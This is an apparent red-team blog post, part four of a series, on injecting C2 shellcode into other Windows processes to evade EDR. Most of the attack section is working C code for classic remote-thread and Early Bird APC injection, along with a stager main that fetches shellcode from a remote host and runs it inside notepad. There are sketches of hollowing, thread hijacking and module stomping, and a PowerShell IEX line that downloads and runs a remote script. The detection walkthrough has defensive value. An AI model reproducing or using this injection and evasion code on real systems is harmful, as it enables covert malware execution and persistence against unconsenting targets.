- Published on
Injection Techniques


- Name
- Chad Wilson
- @NetPenguins
Series
Delivery And Control
- 01Stagers, Agents, and the Chain Between Them
- 02Building the South Park Range with Ludus
- 03Writing a Stager
- 04Injection Techniques
Part four. Last time we built a stager that fetches Apollo shellcode and executes it in its own process. We spent the last section of that post explaining why a tuned EDR catches it. This is what you do about that.
The stager running shellcode in its own memory is the problem. It makes a network fetch, allocates executable memory, starts a thread into it. That whole sequence is basically the textbook definition of a dropper and detection engineers have had rules for it since forever. So you stop being the process the shellcode runs in.
Injection means getting the shellcode into a different process's memory instead. Something that already exists on the box, has a real reason to be there, maybe even generates its own network traffic. Your C2 callback comes from that process. The stager exits. Whatever runs the investigation sees a legitimate-looking process doing what it normally does, except one of its threads is yours.
The Handle Problem
Most injection techniques need a handle to the target process, which means calling OpenProcess with whatever access you need. That call is logged, and the access mask you pass is part of the log. Requesting PROCESS_ALL_ACCESS (0x1FFFFF) will get you killed faster than the injection itself.
Use the minimum. Writing to a remote process needs PROCESS_VM_WRITE | PROCESS_VM_OPERATION. Creating a remote thread adds PROCESS_CREATE_THREAD. Enumerating modules adds PROCESS_QUERY_INFORMATION. Mix only what the technique actually requires.
Target selection matters just as much. svchost.exe is overused and watched. explorer.exe has been getting malware stuffed into it since before some readers were born. If your agent makes outbound HTTPS connections every 60 seconds, inject into something that already does. A process that has never made an outbound connection suddenly beaconing out is a pretty obvious anomaly.
Classic Remote Thread Injection
This is the one that started everything. VirtualAllocEx to allocate memory in the remote process, WriteProcessMemory to copy shellcode in, CreateRemoteThread to start a thread pointing at it.
#include <windows.h>
#include <tlhelp32.h>
DWORD find_pid(const char *name) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pe = { .dwSize = sizeof(pe) };
DWORD pid = 0;
if (Process32First(snap, &pe)) {
do {
if (_stricmp(pe.szExeFile, name) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return pid;
}
int classic_inject(BYTE *shellcode, SIZE_T sc_size, DWORD pid) {
HANDLE proc = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
FALSE, pid);
if (!proc) return 0;
LPVOID remote_mem = VirtualAllocEx(
proc, NULL, sc_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!remote_mem) { CloseHandle(proc); return 0; }
SIZE_T written = 0;
WriteProcessMemory(proc, remote_mem, shellcode, sc_size, &written);
HANDLE thread = CreateRemoteThread(proc, NULL, 0,
(LPTHREAD_START_ROUTINE)remote_mem, NULL, 0, NULL);
WaitForSingleObject(thread, INFINITE);
CloseHandle(thread);
CloseHandle(proc);
return 1;
}

Huzzah it works! It also triggers every detection at once, which is impressive in its own poetic way.
PAGE_EXECUTE_READWRITE on a remote allocation is its own red flag. The right move is PAGE_READWRITE for the write phase, then VirtualProtectEx to PAGE_EXECUTE_READ after. CreateRemoteThread with a start address in private unmodule-backed memory fires a kernel callback before your shellcode runs a single instruction. And the thread's call stack starts directly in shellcode with nothing coherent above it, same unbacked thread problem from the stager, just moved into someone else's process.
Understand that even this pattern of "protection flipping" sequentially like this is a known signature in the right context.
Classic injection is worth knowing because every technique after this is a response to one or more of these problems.
Early Bird APC Injection
APCs let you queue a callback on a thread that fires when it enters an alertable wait state. The early bird trick is that a newly-created suspended process hits one of those states during initialization, before most EDR user-mode hooks have been installed into that process instance.
Create the process suspended, write shellcode in, queue an APC on the main thread pointing at it, resume. The APC fires during startup and your shellcode runs before the EDR DLL has loaded into that process and hooked anything.
#include <windows.h>
int earlybird_inject(BYTE *shellcode, SIZE_T sc_size, const char *target_exe) {
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = {0};
if (!CreateProcessA(target_exe, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi))
return 0;
LPVOID remote_mem = VirtualAllocEx(pi.hProcess, NULL, sc_size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remote_mem) {
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
SIZE_T written = 0;
WriteProcessMemory(pi.hProcess, remote_mem, shellcode, sc_size, &written);
QueueUserAPC((PAPCFUNC)remote_mem, pi.hThread, 0);
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 1;
}
No external OpenProcess on a running process you do not own. The process is yours, you created it. EDRs relying primarily on user-mode hooks are blind during that startup window because their hooks are not there yet. EDRs using kernel callbacks catch it anyway, and most mature products have moved that direction since this went public around 2019. Still a meaningful step up from classic injection though.
QueueUserAPC with an address in unmodule-backed memory is a documented IOC. The whole sequence still fires ETW telemetry. But you are no longer screaming CreateRemoteThread into a third-party process on first run, and that matters.
Integrating with the Stager
Swapping the execution method is a one-line change in main. The fetch from part three stays exactly the same.
int main(void) {
SIZE_T sc_size = 0;
BYTE *shellcode = fetch_shellcode("stager.redir.ludus", "/a.bin", &sc_size);
if (!shellcode || sc_size == 0) return 1;
// notepad for the lab, something with existing network activity on an engagement
earlybird_inject(shellcode, sc_size, "C:\\Windows\\System32\\notepad.exe");
HeapFree(GetProcessHeap(), 0, shellcode);
return 0;
}
The stager exits. Apollo runs inside notepad. Mythic shows the callback attributed to notepad's process. Test it in the range: start notepad manually, run the stager, watch for the callback and check which process it is under. Without an EDR running you should get something within a minute.
If the process crashes, the shellcode ran and the thread returned into garbage state. Early bird without a trampoline to restore the original register context will do that.
There Are More Ways
Early bird is where we stop writing code for this post, but I assure you the rabbit hole goes deep!
Process Hollowing - create a suspended process, unmap the original image with NtUnmapViewOfSection, write shellcode at the image base, redirect RIP, resume. No external OpenProcess. The detection is the image mismatch since the in-memory PE no longer matches disk. ired.team walkthrough
Thread Hijacking - suspend an existing thread, overwrite RIP to point at shellcode, resume. No new thread creation event fires. You need a trampoline to restore the original register state or the host process crashes after your shellcode runs. ired.team walkthrough
Module Stomping / DLL Hollowing - overwrite the .text section of a DLL already loaded in the target process. Thread start address resolves to a real module so the unbacked memory detection does not fire. The tradeoff is that the in-memory DLL no longer matches the file on disk, and tools like Moneta or Get-InjectedThread catch that immediately. ired.team walkthrough
And the list goes on ...
Each one trades a different detection surface for a different artifact. Right technique depends on what the target environment is actually monitoring, and that is something you figure out through engagements.
Finding Your Shellcode in the Remote Process
Once you have a Mythic callback attributed to notepad or whatever process you picked, it is worth knowing how to actually find the evidence of what happened. Both as a sanity check that your injection landed where you think it did, and because understanding what an analyst would find is half the point of this series.
Process Hacker / System Informer
Open Process Hacker on the workstation after injection. Find your target process in the list, double-click it, and go to the Memory tab. Sort by protection. You are looking for a region with RWX or RX permissions that has no module name next to it. A private committed region that is executable and unbacked, that is your shellcode. The base address will be somewhere in the 0x...0000 range with no path in the mapped file column.
In the Threads tab, the shellcode thread will show a start address like 0x1a3bc0042 with nothing next to it. Legitimate threads show something like ntdll.dll!TppWorkerThread. Yours shows a raw hex address and that is the tell.
WinDbg
Attach to the target process and list threads:
~* k
The shellcode thread will have a frame at the bottom that is just a hex address with no symbol, no module, nothing. That is frame zero. Legitimate threads bottom out in something like ntdll!RtlUserThreadStart calling into a named function.
To dump the memory region your shellcode is running in:
!address <shellcode_base_address>
It will show the region as MEM_PRIVATE, MEM_COMMIT, with execute permissions and no associated file. That combination in a process that should not have any private executable regions is exactly what detection tooling flags on.
Get-InjectedThread (PowerShell)
Get-InjectedThread by Jared Atkinson is a PowerShell script that enumerates all threads across all processes and reports ones where the start address does not resolve back to a module on disk. Run it on the workstation after injection:
IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2/raw/Get-InjectedThread.ps1')
Get-InjectedThread
If the injection worked you will get a result back with the process name, PID, thread ID, start address, and the fact that the memory region is not backed by a module. That output is essentially a summary of exactly what the EDR alert would contain.
Running this on your own injection is useful because it shows you the exact artifacts you would need to hide to get past that specific detection layer. The goal is to run it and see nothing.
What Comes Next
Injection moves execution out of your stager and into something that looks like it belongs. The behavioral story on the endpoint changes a lot. The network story does not, because the traffic is still default Mythic HTTP and that profile is well known.
Next post is C2 profile customization. Shaping what Apollo's traffic looks like on the wire so it blends into whatever the target environment normally generates instead of looking like a C2 framework straight out of the box.